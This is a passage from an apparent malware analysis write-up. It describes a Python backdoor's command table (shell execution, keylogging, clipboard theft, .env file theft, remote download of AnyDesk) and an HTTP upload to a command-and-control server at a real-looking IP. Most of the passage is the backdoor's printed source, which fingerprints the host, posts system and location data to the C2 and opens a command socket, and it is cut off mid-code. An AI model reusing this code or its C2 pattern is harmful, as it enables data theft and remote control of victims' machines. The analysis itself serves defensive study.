class="string">&#x27;country&#x27;</span>: <span class="string">&#x27;&lt;Country&gt;&#x27;</span>, <span class="string">&#x27;city&#x27;</span>: <span class="string">&#x27;&lt;City&gt;&#x27;</span>, ...&#125;&#125;</span></span><br></pre></td></tr></table></figure><p>Next uses TCP socket to connect to <code>146.70.253[.]107:2241</code> and enters infinite loop waiting for commands. Below is Command Table:</p><ol><li>ssh_obj: Execute Shell command</li><li>ssh cmd : Kill Python Process</li><li>ssh_clip : If windows get Keylogger + clipboard content, other OS return empty string</li><li>sshrun : Download pow program to <code>~/.n2/bow</code></li><li>ssh_upload : Upload specified directory&#x2F;file to <code>http://146.70.253[.]107:1224/uploads</code></li><li>ssh_kill : Kill Chrome&#x2F;Brave process</li><li>sshany : Download and execute Anydesk module from <code>http://146.170.253[.]107:1224/adc/15</code></li><li>ssh_env : Search <code>.env</code> files and upload <code>http://146.70.253[.]107:1224/uploads</code></li></ol><p>HTTP POST Upload Example:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/uploads</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>146.70.253.107:1224</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; boundary=----WebKitFormBoundary&lt;RandomString&gt;</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>python-requests/x.x.x</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>*/*</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>keep-alive</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>&lt;Length&gt;</span><br><span class="line"></span><br><span class="line"><span class="language-nix">----------WebKitFormBoundary<span class="symbol">&lt;RandomString&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;type&quot;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="number">15</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>---------WebKitFormBoundary<span class="symbol">&lt;RandomString&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;hid&quot;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="number">812</span>_<span class="symbol">&lt;Hostname&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>---------WebKitFormBoundary<span class="symbol">&lt;RandomString&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;uts&quot;</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="symbol">&lt;Upload_Tag&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>---------WebKitFormBoundary<span class="symbol">&lt;RandomString&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Disposition:</span> form-data; <span class="attr">name</span><span class="operator">=</span><span class="string">&quot;multi_file&quot;</span>; <span class="attr">filename</span><span class="operator">=</span><span class="string">&quot;&lt;Timestamp&gt;_&lt;Filename&gt;&quot;</span></span></span><br><span class="line"><span class="language-nix"><span class="params">Content-Type:</span> application<span class="symbol">/octet-stream</span></span></span><br><span class="line"><span class="language-nix"></span></span><br><span class="line"><span class="language-nix"><span class="symbol">&lt;Binary_File_Content&gt;</span></span></span><br><span class="line"><span class="language-nix"><span class="operator">-</span>---------WebKitFormBoundary<span class="symbol">&lt;RandomString&gt;</span>--</span></span><br></pre></td></tr></table></figure><p>After upload success, it records attack record in <code>~/.n2/flist</code>.</p><h5 id="n2-way-Complete-Code"><a href="#n2-way-Complete-Code" class="headerlink" title="~&#x2F;.n2&#x2F;way Complete Code"></a>~&#x2F;.n2&#x2F;way Complete Code</h5><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64,socket</span><br><span class="line"><span class="keyword">from</span> uuid <span class="keyword">import</span> getnode</span><br><span class="line"><span class="keyword">from</span> requests <span class="keyword">import</span> get,post</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"><span class="keyword">from</span> getpass <span class="keyword">import</span> getuser</span><br><span class="line"><span class="keyword">from</span> platform <span class="keyword">import</span> system,node,release,version</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">sType = <span class="string">&quot;15&quot;</span></span><br><span class="line">gType = <span class="string">&quot;812&quot;</span></span><br><span class="line"></span><br><span class="line">payUpdateDate = <span class="string">&quot;Updated on 5th August&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">HostInfo</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A</span>):</span><br><span class="line">        A.system=system()</span><br><span class="line">        <span class="keyword">if</span> gType == <span class="string">&quot;root&quot;</span>:</span><br><span class="line">            A.hostname=node()</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            A.hostname=gType + <span class="string">&quot;_&quot;</span> + node()</span><br><span class="line">        A.release=release()</span><br><span class="line">        A.version=version()</span><br><span class="line">        A.username=getuser()</span><br><span class="line">        A.uuid=A.getID()</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">getID</span>(<span class="params">A</span>):<span class="keyword">return</span> sha256((<span class="built_in">str</span>(getnode())+getuser()).encode()).digest().<span class="built_in">hex</span>()</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">sysinfo</span>(<span class="params">A</span>):<span class="keyword">return</span>&#123;<span class="string">&#x27;uuid&#x27;</span>:A.uuid,<span class="string">&#x27;system&#x27;</span>:A.system,<span class="string">&#x27;release&#x27;</span>:A.release,<span class="string">&#x27;version&#x27;</span>:A.version,<span class="string">&#x27;hostname&#x27;</span>:A.hostname,<span class="string">&#x27;username&#x27;</span>:A.username&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Position</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A</span>):A.geo=A.get_geo();A.internal_ip=A.get_internal_ip()</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_internal_ip</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="keyword">try</span>:<span class="keyword">return</span> socket.gethostbyname_ex(hn)[-<span class="number">1</span>][-<span class="number">1</span>]</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">return</span><span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_geo</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="keyword">try</span>:<span class="keyword">return</span> get(<span class="string">&#x27;http://ip-api.com/json&#x27;</span>).json()</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">net_info</span>(<span class="params">A</span>):</span><br><span class="line">        g=A.get_geo()</span><br><span class="line">        <span class="keyword">if</span> g:</span><br><span class="line">            ii=A.internal_ip</span><br><span class="line">            <span class="keyword">if</span> ii:g[<span class="string">&#x27;internalIp&#x27;</span>]=ii</span><br><span class="line">        <span class="keyword">return</span> g</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">SysInfo</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A</span>):A.net_info=Position().net_info();A.sys_info=HostInfo().sysinfo()</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">parse</span>(<span class="params">K,data</span>):</span><br><span class="line">        J=<span class="string">&#x27;regionName&#x27;</span>;I=<span class="string">&#x27;country&#x27;</span>;H=<span class="string">&#x27;query&#x27;</span>;G=<span class="string">&#x27;city&#x27;</span>;F=<span class="string">&#x27;isp&#x27;</span>;E=<span class="string">&#x27;zip&#x27;</span>;D=<span class="string">&#x27;lon&#x27;</span>;C=<span class="string">&#x27;lat&#x27;</span>;B=<span class="string">&#x27;timezone&#x27;</span>;_A=<span class="string">&#x27;internalIp&#x27;</span></span><br><span class="line">        A=data;A=&#123;C:A[C]<span class="keyword">if</span> C <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,D:A[D]<span class="keyword">if</span> D <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,E:A[E]<span class="keyword">if</span> E <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,F:A[F]<span class="keyword">if</span> F <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,G:A[G]<span class="keyword">if</span> G <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,H:A[H]<span class="keyword">if</span> H <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,I:A[I]<span class="keyword">if</span> I <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,B:A[B]<span class="keyword">if</span> B <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,J:A[J]<span class="keyword">if</span> J <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>,_A:A[_A]<span class="keyword">if</span> _A <span class="keyword">in</span> A <span class="keyword">else</span><span class="string">&#x27;&#x27;</span>&#125;</span><br><span class="line">        <span class="keyword">if</span><span class="string">&#x27;/&#x27;</span><span class="keyword">in</span> A[B]:A[B]=A[B].replace(<span class="string">&#x27;/&#x27;</span>,<span class="string">&#x27; &#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span><span class="string">&#x27;_&#x27;</span><span class="keyword">in</span> A[B]:A[B]=A[B].replace(<span class="string">&#x27;_&#x27;</span>,<span class="string">&#x27; &#x27;</span>)</span><br><span class="line">        <span class="keyword">return</span> A</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_info</span>(<span class="params">A</span>):B=A.net_info;<span class="keyword">return</span>&#123;<span class="string">&#x27;sys_info&#x27;</span>:A.sys_info,<span class="string">&#x27;net_info&#x27;</span>:A.parse(B <span class="keyword">if</span> B <span class="keyword">else</span>[])&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># host=&quot;LjE3LjI0OTUuMTY0&quot;</span></span><br><span class="line"><span class="comment">#host=&quot;  NTEuMjEy  MTAuMTAu&quot;</span></span><br><span class="line">PORT = <span class="number">1224</span></span><br><span class="line">HOST = <span class="string">&#x27;146.70.253.107&#x27;</span></span><br><span class="line"><span class="keyword">if</span> gType == <span class="string">&quot;root&quot;</span>:</span><br><span class="line">    hn = socket.gethostname()</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    hn = gType + <span class="string">&quot;_&quot;</span> + socket.gethostname()</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Trans</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A</span>):A.sys_info=SysInfo().get_info()</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">contact_server</span>(<span class="params">A,ip,port</span>):</span><br><span class="line">        A.ip,A.port=ip,<span class="built_in">int</span>(port);B=<span class="built_in">int</span>(time.time()*<span class="number">1000</span>);C=&#123;<span class="string">&#x27;ts&#x27;</span>:<span class="built_in">str</span>(B),<span class="string">&#x27;type&#x27;</span>:sType,<span class="string">&#x27;hid&#x27;</span>:hn,<span class="string">&#x27;ss&#x27;</span>:<span class="string">&#x27;sys_info&#x27;</span>,<span class="string">&#x27;cc&#x27;</span>:<span class="built_in">str</span>(A.sys_info)&#125;;D=<span class="string">f&quot;http://<span class="subst">&#123;A.ip&#125;</span>:<span class="subst">&#123;A.port&#125;</span>/keys&quot;</span></span><br><span class="line">        <span class="keyword">try</span>:post(D,data=C)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:<span class="keyword">pass</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run_comm</span>():c=Trans();c.contact_server(HOST, PORT);<span class="keyword">del</span> c</span><br><span class="line">run_comm()</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> base64,platform,socket</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> sleep</span><br><span class="line"><span class="keyword">from</span> socket <span class="keyword">import</span> timeout <span class="keyword">as</span> TimeOutError</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">from</span> datetime <span class="keyword">import</span> datetime,timezone,timedelta</span><br><span class="line"><span class="keyword">import</span> json,os,struct,subprocess</span><br><span class="line"><span class="keyword">from</span> threading <span class="keyword">import</span> Thread,RLock,Timer</span><br><span class="line"><span class="keyword">import</span> requests,ftplib</span><br><span class="line"><span class="keyword">import</span> ast</span><br><span class="line">sHost = socket.gethostname()</span><br><span class="line"><span class="comment"># host=&quot;LjE3LjI0OTUuMTY0&quot;</span></span><br><span class="line"><span class="comment">#host=&quot;  NTEuMjEy  MTAuMTAu&quot;</span></span><br><span class="line">_T=<span class="literal">True</span>;_F=<span class="literal">False</span>;_N=<span class="literal">None</span>;_A=<span class="string">&#x27;admin&#x27;</span>;_O=<span class="string">&#x27;output&#x27;</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Session</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A,sock</span>):A.sock=sock;A.info=&#123;<span class="string">&#x27;type&#x27;</span>:<span class="number">0</span>,<span class="string">&#x27;group&#x27;</span>:sType,<span class="string">&#x27;name&#x27;</span>:sHost&#125;</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">shutdown</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="keyword">try</span>:A.sendall(<span class="string">&#x27;[close]&#x27;</span>);A.sock.shutdown(socket.SHUT_RDWR);A.sock.close()</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">connect</span>(<span class="params">A,ip,port</span>):</span><br><span class="line">        A.sock.connect((ip,port));sleep(<span class="number">.5</span>)</span><br><span class="line">        A.send(code=<span class="number">0</span>,args=A.info)</span><br><span class="line">        sleep(<span class="number">.5</span>);<span class="keyword">return</span> _T</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">struct</span>(<span class="params">A,code=_N,args=_N</span>):<span class="keyword">return</span> json.dumps(&#123;<span class="string">&#x27;code&#x27;</span>: code,<span class="string">&#x27;args&#x27;</span>: args&#125;)</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">send</span>(<span class="params">A,code=_N,args=_N</span>):d=A.struct(code, args);A.sendall(d)</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">sendall</span>(<span class="params">A,data</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">try</span>:ii = data.encode()</span><br><span class="line">            <span class="keyword">except</span>:ii = data</span><br><span class="line">            ii = struct.pack(<span 